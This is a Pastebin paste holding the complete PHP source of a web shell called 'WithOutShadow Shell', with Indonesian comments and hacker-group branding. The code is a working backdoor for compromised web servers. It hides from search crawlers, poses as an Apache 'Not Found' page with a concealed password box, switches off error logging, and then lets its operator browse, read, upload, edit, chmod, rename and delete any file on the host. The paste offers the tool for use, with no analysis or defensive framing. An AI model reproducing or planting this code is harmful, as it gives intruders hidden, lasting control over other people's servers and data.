alin_tamvanz

WithOutShadow Shell

Dec 25th, 2015
183
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.78 KB | None | 0 0
  1. <!--
  2.     //++++++++++++++++++++++++++++++++++++++//
  3.     // Coded By : $hutdown57 - anonXcode++++//
  4.     //copyright (c) 2016 +++++++++++++++++++//
  5.     //rilis : S +++++++++++++++//
  6.     //Open Source shell By : WOS - Shutdown57/
  7.     //++++++++++++++++++++++++++++++++++++++//
  8. |___________________________________________________|
  9. |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
  10. \\ hargailah karya orang, kelak kau akan di hargai   ///////
  11. \\kalau ingin mengedit sedikit jangan ganti copyrightNya //
  12. \\kalau ingin merombak rombaklah !,dan jangan sampai /////
  13. \\kelihatan bahwa seni ini milik WithOutShadow //////////
  14. //anda mendapatkan ini dengan gratis. !\\\\\\\\\\\\\\\\\\
  15. //tapi anda tidak bisa mengEdit ini dengan seEnaknya\\\\\\
  16. //saya percaya anda bahwa anda tidak akan mengganti\\\\\\\\
  17. //////COPYRIGHT (C) 2015 WITHOUTSHADOW\\\\\\\\\\\\\\\\\\\\\\
  18. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  19.  BUG REPORT : [email protected] ~~~~~~~~~~
  20.  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  21. -->
  22.  
  23. <?php
  24. $name = " WithOutShadow";
  25. $auth_pass = "0c9833c23f3f626575cc20bfa91e38f7";
  26. $color = "#00ff00";
  27. $default_action = 'FilesMan';
  28. @define('SELF_PATH', __FILE__);
  29. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  30.     header('HTTP/1.0 404 Not Found');
  31.     exit;
  32. }
  33. @session_start();
  34. @error_reporting(0);
  35. @ini_set('error_log',NULL);
  36. @ini_set('log_errors',0);
  37. @ini_set('max_execution_time',0);
  38. @ini_set('display_errors', 0);
  39. @set_time_limit(0);
  40. @set_magic_quotes_runtime(0);
  41. @define('VERSION', '2.1');
  42. if( get_magic_quotes_gpc() ) {
  43.     function stripslashes_array($array) {
  44.         return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  45.     }
  46.     $_POST = stripslashes_array($_POST);
  47. }
  48. function printLogin() {
  49.     ?>
  50. <title> Page Not Found </title>
  51. <h1>Not Found</h1>
  52. <p>The requested URL was not found on this server.</p>
  53. <hr>
  54. <address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
  55.     <style>
  56.         input { margin:0;background-color:#fff;border:1px solid #fff; }
  57.     </style>
  58.     <center>
  59.     <form method=post>
  60.     <input type=password name=pass>
  61.     </form></center>
  62.     <?php
  63.     exit;
  64. }
  65. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  66.     if( empty( $auth_pass ) ||
  67.         ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  68.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  69.     else
  70.         printLogin();
  71.  
  72. set_time_limit(0);
  73. error_reporting(0);
  74.  
  75. if(get_magic_quotes_gpc()){
  76. foreach($_POST as $key=>$value){
  77. $_POST[$key] = stripslashes($value);
  78. }
  79. }
  80. echo '
  81. <!DOCTYPE HTML>
  82. <HTML>
  83. <HEAD>
  84. <link href="" rel="stylesheet" type="text/css">
  85. <title>WithOutShadow Shell</title>
  86. <style>
  87. body{
  88. font-family:courier new;
  89. background:url("http://pesantrencilikindonesia.com/images/logo.png")no-repeat center fixed black;
  90. background-size:100%;
  91. text-shadow:0px 0px 2px #81ff00;
  92. color:#ff0000;
  93. border-color:lime;
  94. border-style:double;
  95. border-size:10px;
  96. border-radius:19px;
  97. }
  98. #content tr:hover{
  99. background-color: #333;
  100. text-shadow:0px 0px 10px #fff;
  101. }
  102. #content .first{
  103. background-color:#fff;
  104. }
  105. #content .first:hover{
  106. background-color:maroon;
  107. text-shadow:0px 0px 1px lime;
  108. }
  109. table{
  110. border: 7px #ff0000 ridge;
  111. background-color:#fff;
  112. opacity:0.9;
  113. border-radius:19px;
  114.  
  115. }
  116. H1{
  117. font-family: courier new;
  118. color:#fff;
  119. background:#ff0000;
  120. text-align:center;
  121. border-style:double;
  122. border-color:#fff;
  123. border-size:3px;
  124. cursor:pointer;
  125. }
  126. H1:hover #no {
  127.     color:#ff0000;
  128.     background:#000;
  129. display:block;
  130. cursor:help;
  131. }
  132. #no{
  133. display:none;
  134. font-family:courier;
  135. font-size:20px;
  136. }
  137. #no:hover #img{
  138.     display:block;
  139.     width:20%;
  140.    cursor:help;
  141.  
  142. }
  143. #img{
  144.     display:none;
  145. }
  146. a{
  147. color: #ff0000;
  148. border-style:inset;
  149. }
  150. a:hover{
  151. color: #81ff00;
  152. border-style:outset;
  153. text-decoration:underline;
  154. border-radius:9px;
  155. }
  156. input,select,textarea{
  157. border: 3px #81ff00 solid;
  158. -moz-border-radius: 15px;
  159. -webkit-border-radius:15px;
  160. border-radius:15px;
  161. background:#000;
  162. color:#fff;
  163. }
  164. #upload{
  165.     color:#fff;
  166.     background:#000;
  167.  
  168. }
  169. #upload:hover{
  170.     color:#000;
  171.     background:#fff;
  172.     text-decoration:underline;
  173.     border-size:7px;
  174.    
  175. }
  176. #tools{
  177.    margin:2px;
  178.    padding:2px;
  179.    background:transparent;
  180.    text-align:center;
  181.    border-style:double;
  182.    border-radius:0px;
  183.    color:#fff;
  184.  
  185. }
  186. </style>
  187. </HEAD>
  188. <BODY>
  189. <H1><center>[#] WithOutShadow [#]<p id="no"> No System Is Safe !  &#169 <?php echo date("Y",time())." ".$name; ?>
  190. <img src="wos.png" id="img"/></p></center></H1>
  191. <link rel="shortcut icon" href=" http://pesantrencilikindonesia.com/images/logo.png " />
  192. <br/>
  193.  
  194. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  195. <tr><td>anda sedang di  : ';
  196. if(isset($_GET['path'])){
  197. $path = $_GET['path'];
  198. }else{
  199. $path = getcwd();
  200. }
  201. $path = str_replace('\\','/',$path);
  202. $paths = explode('/',$path);
  203.  
  204. foreach($paths as $id=>$pat){
  205. if($pat == '' && $id == 0){
  206. $a = true;
  207. echo '<a href="?path=/">/</a>';
  208. continue;
  209. }
  210. if($pat == '') continue;
  211. echo '<a href="?path=';
  212. for($i=0;$i<=$id;$i++){
  213. echo "$paths[$i]";
  214. if($i != $id) echo "/";
  215. }
  216. echo '">'.$pat.'</a>/';
  217. }
  218. echo '</td></tr><tr><td>';
  219. if(isset($_FILES['file'])){
  220. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  221. echo '<font color="green">berhasil upload file kaka ~_~</font><br />';
  222. }else{
  223. echo '<font color="red">Mungkin kaka ERROR jadi file yang di apload juga ERROR -_- </font><br />';
  224. }
  225. }
  226. echo '<form enctype="multipart/form-data" method="POST">
  227. Upload sesuatu: <input type="file" name="file"  />
  228. <input type="submit" value="upload" id="upload"/>
  229. </form>
  230. </td></tr>';
  231. if(isset($_GET['filesrc'])){
  232. echo "<tr><td>Lokasi Berkas : ";
  233. echo $_GET['filesrc'];
  234. echo '</tr></td></table><br />';
  235. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  236. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  237. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  238. if($_POST['opt'] == 'chmod'){
  239. if(isset($_POST['perm'])){
  240. if(chmod($_POST['path'],$_POST['perm'])){
  241. echo '<font color="green">Pengubahan Permisi Berhasil Kaka yang tamvanz ~_~</font><br />';
  242. }else{
  243. echo '<font color="red">sayangNya,Pengubahan permisi gagal !</font><br />';
  244. }
  245. }
  246. echo '<form method="POST">
  247. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  248. <input type="hidden" name="path" value="'.$_POST['path'].'">
  249. <input type="hidden" name="opt" value="chmod">
  250. <input type="submit" value="simpan !" />
  251. </form>';
  252. }elseif($_POST['opt'] == 'rename'){
  253. if(isset($_POST['newname'])){
  254. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  255. echo '<font color="green">perubahan nama berhasil kaka ~_~</font><br />';
  256. }else{
  257. echo '<font color="red">Perubahan nama gagal kaka --__-- </font><br />';
  258. }
  259. $_POST['name'] = $_POST['newname'];
  260. }
  261. echo '<form method="POST">
  262. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  263. <input type="hidden" name="path" value="'.$_POST['path'].'">
  264. <input type="hidden" name="opt" value="rename">
  265. <input type="submit" value="Simpan !" />
  266. </form>';
  267. }elseif($_POST['opt'] == 'edit'){
  268. if(isset($_POST['src'])){
  269. $fp = fopen($_POST['path'],'w');
  270. if(fwrite($fp,$_POST['src'])){
  271. echo '<font color="green">Pinter sekali, Berhasil Edit File ~_~</font><br />';
  272. }else{
  273. echo '<font color="red">Edit file gagal, kaka kurang tamvanz -_-</font><br />';
  274. }
  275. fclose($fp);
  276. }
  277. echo '<form method="POST">
  278. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  279. <input type="hidden" name="path" value="'.$_POST['path'].'">
  280. <input type="hidden" name="opt" value="edit">
  281. <input type="submit" value="Simpan !" />
  282. </form>';
  283. }
  284. echo '</center>';
  285. }else{
  286. echo '</table><br /><center>';
  287. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  288. if($_POST['type'] == 'dir'){
  289. if(rmdir($_POST['path'])){
  290. echo '<font color="green">penghapusan folder berhasil kaka ~_~</font><br />';
  291. }else{
  292. echo '<font color="red">penghapusan folder gagal kaka -_-.</font><br />';
  293. }
  294. }elseif($_POST['type'] == 'file'){
  295. if(unlink($_POST['path'])){
  296. echo '<font color="green">Hapus file berhasil kaka ~_~</font><br />';
  297. }else{
  298. echo '<font color="red">kaka enggak bisa Hapus file ini,kurang tamvanz -_-</font><br />';
  299. }
  300. }
  301. }
  302. echo '</center>';
  303. $scandir = scandir($path);
  304. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  305. <tr class="first">
  306. <td><center>Nama</center></td>
  307. <td><center>Ukuran</center></td>
  308. <td><center>Permisi</center></td>
  309. <td><center>Pilihan aksi</center></td>
  310. </tr>';
  311.  
  312. foreach($scandir as $dir){
  313. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  314. echo "<tr>
  315. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  316. <td><center>folder</center></td>
  317. <td><center>";
  318. if(is_writable("$path/$dir")) echo '<font color="green">';
  319. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  320. echo perms("$path/$dir");
  321. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  322.  
  323. echo "</center></td>
  324. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  325. <select name=\"opt\">
  326. <option value=\"\">folder</option>
  327. <option value=\"delete\">Hapus</option>
  328. <option value=\"chmod\">Change mode</option>
  329. <option value=\"rename\">Ganti nama</option>
  330. </select>
  331. <input type=\"hidden\" name=\"type\" value=\"dir\">
  332. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  333. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  334. <input type=\"submit\" value=\"Ayo->\" />
  335. </form></center></td>
  336. </tr>";
  337. }
  338. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  339. foreach($scandir as $file){
  340. if(!is_file("$path/$file")) continue;
  341. $size = filesize("$path/$file")/1024;
  342. $size = round($size,3);
  343. if($size >= 1024){
  344. $size = round($size/1024,2).' MB';
  345. }else{
  346. $size = $size.' KB';
  347. }
  348.  
  349. echo "<tr>
  350. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  351. <td><center>".$size."</center></td>
  352. <td><center>";
  353. if(is_writable("$path/$file")) echo '<font color="green">';
  354. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  355. echo perms("$path/$file");
  356. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  357. echo "</center></td>
  358. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  359. <select name=\"opt\">
  360. <option value=\"\">berkas</option>
  361. <option value=\"delete\">Hapus</option>
  362. <option value=\"chmod\">Change Mode</option>
  363. <option value=\"rename\">Ganti nama</option>
  364. <option value=\"edit\">Edit</option>
  365. </select>
  366. <input type=\"hidden\" name=\"type\" value=\"file\">
  367. <input type=\"hidden\" name=\"name\" value=\"$file\">
  368. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  369. <input type=\"submit\" value=\"Ayo->\" />
  370. </form></center></td>
  371. </tr>";
  372. }
  373. echo '</table>
  374. </div>';
  375. }
  376. echo '<br /><center><h3 style="color:white;text-shadow:0px 0px 10px black;background-color:#ff0000;">recoded By : [!]$hutdown57[!] - WithOutShadow || anonXcode - JavaXcode </font></center>
  377. </BODY>
  378. </HTML>';
  379. function perms($file){
  380. $perms = fileperms($file);
  381.  
  382. if (($perms & 0xC000) == 0xC000) {
  383. // Socket
  384. $info = 's';
  385. } elseif (($perms & 0xA000) == 0xA000) {
  386. // Symbolic Link
  387. $info = 'l';
  388. } elseif (($perms & 0x8000) == 0x8000) {
  389. // Regular
  390. $info = '-';
  391. } elseif (($perms & 0x6000) == 0x6000) {
  392. // Block special
  393. $info = 'b';
  394. } elseif (($perms & 0x4000) == 0x4000) {
  395. // Directory
  396. $info = 'd';
  397. } elseif (($perms & 0x2000) == 0x2000) {
  398. // Character special
  399. $info = 'c';
  400. } elseif (($perms & 0x1000) == 0x1000) {
  401. // FIFO pipe
  402. $info = 'p';
  403. } else {
  404. // Unknown
  405. $info = 'u';
  406. }
  407.  
  408. // Owner
  409. $info .= (($perms & 0x0100) ? 'r' : '-');
  410. $info .= (($perms & 0x0080) ? 'w' : '-');
  411. $info .= (($perms & 0x0040) ?
  412. (($perms & 0x0800) ? 's' : 'x' ) :
  413. (($perms & 0x0800) ? 'S' : '-'));
  414.  
  415. // Group
  416. $info .= (($perms & 0x0020) ? 'r' : '-');
  417. $info .= (($perms & 0x0010) ? 'w' : '-');
  418. $info .= (($perms & 0x0008) ?
  419. (($perms & 0x0400) ? 's' : 'x' ) :
  420. (($perms & 0x0400) ? 'S' : '-'));
  421.  
  422. // World
  423. $info .= (($perms & 0x0004) ? 'r' : '-');
  424. $info .= (($perms & 0x0002) ? 'w' : '-');
  425. $info .= (($perms & 0x0001) ?
  426. (($perms & 0x0200) ? 't' : 'x' ) :
  427. (($perms & 0x0200) ? 'T' : '-'));
  428.  
  429. return $info;
  430. }
  431. ?>
  432. <!--batas -->
Add Comment
Please, Sign In to add comment